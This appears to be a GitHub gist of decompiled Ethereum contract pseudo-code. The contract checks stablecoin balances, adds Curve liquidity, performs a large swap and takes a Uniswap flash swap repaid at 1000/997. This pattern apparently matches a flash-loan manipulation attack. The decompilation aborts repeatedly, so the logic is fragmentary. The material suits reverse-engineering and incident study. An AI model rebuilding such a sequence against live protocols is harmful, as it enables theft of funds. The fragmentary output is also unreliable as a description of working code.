mem[224] = 0xdac17f958d2ee523a2206206994597c13d831ec7 | |
mem[256] = 3 | |
idx = 0 | |
s = 772 | |
t = 160 | |
while idx < 3: | |
mem[s] = mem[t + 12 len 20] | |
idx = idx + 1 | |
s = s + 32 | |
t = t + 32 | |
continue | |
... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
if 2450480260 == uint32(call.func_hash) >> 224: | |
require not call.value | |
require calldata.size - 4 >=′ 160 | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
if ('cd', 4).length > 18446744073709551615: | |
revert with 0, 65 | |
if ceil32(32 * ('cd', 4).length) + 129 < 128 or ceil32(32 * ('cd', 4).length) + 129 > 18446744073709551615: | |
revert with 0, 65 | |
require cd * ('cd', 4).length) + 36 <= calldata.size | |
s = 160 | |
idx = cd[4] + 36 | |
while idx < cd * ('cd', 4).length) + 36: | |
require cd[idx] == addr(cd[idx]) | |
mem[s] = cd[idx] | |
s = s + 32 | |
idx = idx + 32 | |
continue | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
if ('cd', 36).length > 18446744073709551615: | |
revert with 0, 65 | |
if ceil32(32 * ('cd', 36).length) + 130 < 129 or ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 130 > 18446744073709551615: | |
revert with 0, 65 | |
require cd * ('cd', 36).length) + 36 <= calldata.size | |
idx = cd[36] + 36 | |
s = ceil32(32 * ('cd', 4).length) + 161 | |
while idx < cd * ('cd', 36).length) + 36: | |
mem[s] = cd[idx] | |
idx = idx + 32 | |
s = s + 32 | |
continue | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
if ('cd', 68).length > 18446744073709551615: | |
revert with 0, 65 | |
if ceil32(32 * ('cd', 68).length) + 131 < 130 or ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + 131 > 18446744073709551615: | |
revert with 0, 65 | |
require cd * ('cd', 68).length) + 36 <= calldata.size | |
... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
require 4198899251 == uint32(call.func_hash) >> 224 | |
require calldata.size - 4 >=′ 96 | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
require ('cd', 68).length <= 18446744073709551615 | |
require cd('cd', 68).length + 36 <= calldata.size | |
require ('cd', 68).length >=′ 64 | |
require ('cd', 68) == addr(('cd', 68)) | |
mem[164] = caller | |
mem[196] = ('cd', 68) | |
mem[128] = 68 | |
mem[164 len 28] = Mask(224, 32, caller) >> 32 | |
mem[160 len 4] = transfer(address to, uint256 tokens) | |
mem[228] = 32 | |
mem[260] = 'SafeERC20: low-level call failed' | |
if eth.balance(this.address) < 0: | |
revert with 0, 'Address: insufficient balance for call' | |
if not ext_code.size(addr(('cd', 68))): | |
revert with 0, 'Address: call to non-contract' | |
mem[292 len 96] = transfer(address to, uint256 tokens), caller, ('cd', 68), 0 | |
mem[360] = 0 | |
call addr(('cd', 68)) with: | |
funct Mask(32, 224, transfer(address to, uint256 tokens), caller, ('cd', 68), 0) >> 224 | |
gas gas_remaining wei | |
args (Mask(512, -288, transfer(address to, uint256 tokens), caller, ('cd', 68), 0) << 288) | |
if not return_data.size: | |
if not ext_call.success: | |
if mem[96]: | |
revert with memory | |
from 128 | |
len mem[96] | |
revert with 0, 'SafeERC20: low-level call failed' | |
require not mem[96] | |
stop | |
mem[324 len return_data.size] = ext_call.return_data[0 len return_data.size] | |
if not ext_call.success: | |
if return_data.size: | |
revert with ext_call.return_data[0 len return_data.size] | |
revert with 0, 'SafeERC20: low-level call failed' | |
if return_data.size: | |
require return_data.size >=′ 32 | |
require mem[324] == bool(mem[324]) | |
if not mem[324]: | |
revert with 0, 'SafeERC20: ERC20 operation did not succeed' | |
else: | |
require not call.value | |
require calldata.size - 4 >=′ 128 | |
require cd == addr(cd) | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
require ('cd', 100).length <= 18446744073709551615 | |
require cd('cd', 100).length + 36 <= calldata.size | |
require ('cd', 100).length >=′ 32 | |
require ('cd', 100) == addr(('cd', 100)) | |
if addr(('cd', 100)) - 0xdc59ac4fefa32293a95889dc396682858d52e5db: | |
static call 0x6b175474e89094c44da98b954eedeac495271d0f.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
static call 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
static call 0xdac17f958d2ee523a2206206994597c13d831ec7.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
require ext_code.size(0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7) | |
call 0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7.add_liquidity(uint256 param1, uint256 param2) with: | |
gas gas_remaining wei | |
args ext_call.return_data >> 512, 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require ext_code.size(0xed279fdd11ca84beef15af5d39bb4d4bee23f0ca) | |
call 0xed279fdd11ca84beef15af5d39bb4d4bee23f0ca.exchange(int128 param1, int128 param2, uint256 param3, uint256 param4) with: | |
gas gas_remaining wei | |
args 1, 0, 15000000 * 10^18, 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
static call 0x6c3f90f043a72fa612cbac8115ee7e52bde6e490.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
require return_data.size >=′ 32 | |
require ext_code.size(0x3a70dfa7d2262988064a2d051dd47521e43c9bdd) | |
call 0x3a70dfa7d2262988064a2d051dd47521e43c9bdd.add_liquidity(uint256 param1, uint256 param2) with: | |
gas gas_remaining wei | |
args 0, ext_call.return_data[0], 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
static call 0xdc59ac4fefa32293a95889dc396682858d52e5db.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
require return_data.size >=′ 32 | |
static call 0x5f98805a4e8be255a32880fdec7f6728c6568ba0.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
if 1 > !block.timestamp: | |
revert with 0, 17 | |
... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
mem[132] = 0x46e4d8a1322b9448905225e52f914094dbd6dddf | |
static call 0x5f98805a4e8be255a32880fdec7f6728c6568ba0.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args 0x46e4d8a1322b9448905225e52f914094dbd6dddf | |
mem[128] = ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
if ext_call.return_data > 0x295fad40a57eb50295fad40a57eb50295fad40a57eb50295fad40a57eb50295: | |
revert with 0, 17 | |
mem[ceil32(return_data.size) + 160] = 0x5f98805a4e8be255a32880fdec7f6728c6568ba0 | |
mem[ceil32(return_data.size) + 128] = 32 | |
require ext_code.size(0x46e4d8a1322b9448905225e52f914094dbd6dddf) | |
call 0x46e4d8a1322b9448905225e52f914094dbd6dddf.0x22c0d9f with: | |
gas gas_remaining wei | |
args 99 * ext_call.return_data / 100, 0, addr(this.address), 128, 32, 0x5f98805a4e8be255a32880fdec7f6728c6568ba0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
if cd > 0x4189374bc6a7ef9db22d0e5604189374bc6a7ef9db22d0e5604189374bc6a7: | |
revert with 0, 17 | |
if 1 > !(1000 * cd / 997): | |
revert with 0, 17 | |
mem[ceil32(return_data.size) + 228] = caller | |
mem[ceil32(return_data.size) + 260] = (1000 * cd / 997) + 1 | |
mem[ceil32(return_data.size) + 192] = 68 | |
mem[ceil32(return_data.size) + 228 len 28] = Mask(224, 32, caller) >> 32 | |
mem[ceil32(return_data.size) + 224 len 4] = transfer(address to, uint256 tokens) | |
mem[ceil32(return_data.size) + 292] = 32 | |
mem[ceil32(return_data.size) + 324] = 'SafeERC20: low-level call failed' | |
if eth.balance(this.address) < 0: | |
revert with 0, 'Address: insufficient balance for call' | |
if not ext_code.size(0xdc59ac4fefa32293a95889dc396682858d52e5db): | |
revert with 0, 'Address: call to non-contract' | |
mem[ceil32(return_data.size) + 356 len 96] = transfer(address to, uint256 tokens), caller, (1000 * cd / 997) + 1, 0 | |
mem[ceil32(return_data.size) + 424] = 0 | |
call 0xdc59ac4fefa32293a95889dc396682858d52e5db with: | |
funct Mask(32, 224, transfer(address to, uint256 tokens), caller, (1000 * cd / 997) + 1, 0) >> 224 | |
gas gas_remaining wei | |
args (Mask(512, -288, transfer(address to, uint256 tokens), caller, (1000 * cd / 997) + 1, 0) << 288) | |
if not return_data.size: | |
if not ext_call.success: | |
if mem[96]: | |
revert with memory | |
from 128 | |
len mem[96] | |
... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
if mem[96]: | |
require mem[96] >=′ 32 | |
require ext_call.return_data == bool(ext_call.return_data[0]) | |
if not ext_call.return_data[0]: | |
revert with 0, 'SafeERC20: ERC20 operation did not succeed' | |
else: | |
mem[ceil32(return_data.size) + 388 len return_data.size] = ext_call.return_data[0 len return_data.size] | |
if not ext_call.success: | |
if return_data.size: | |
revert with ext_call.return_data[0 len return_data.size] | |
... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
if return_data.size: | |
require return_data.size >=′ 32 | |
require mem[ceil32(return_data.size) + 388] == bool(mem[ceil32(return_data.size) + 388]) | |
if not mem[ceil32(return_data.size) + 388]: | |
revert with 0, 'SafeERC20: ERC20 operation did not succeed' | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment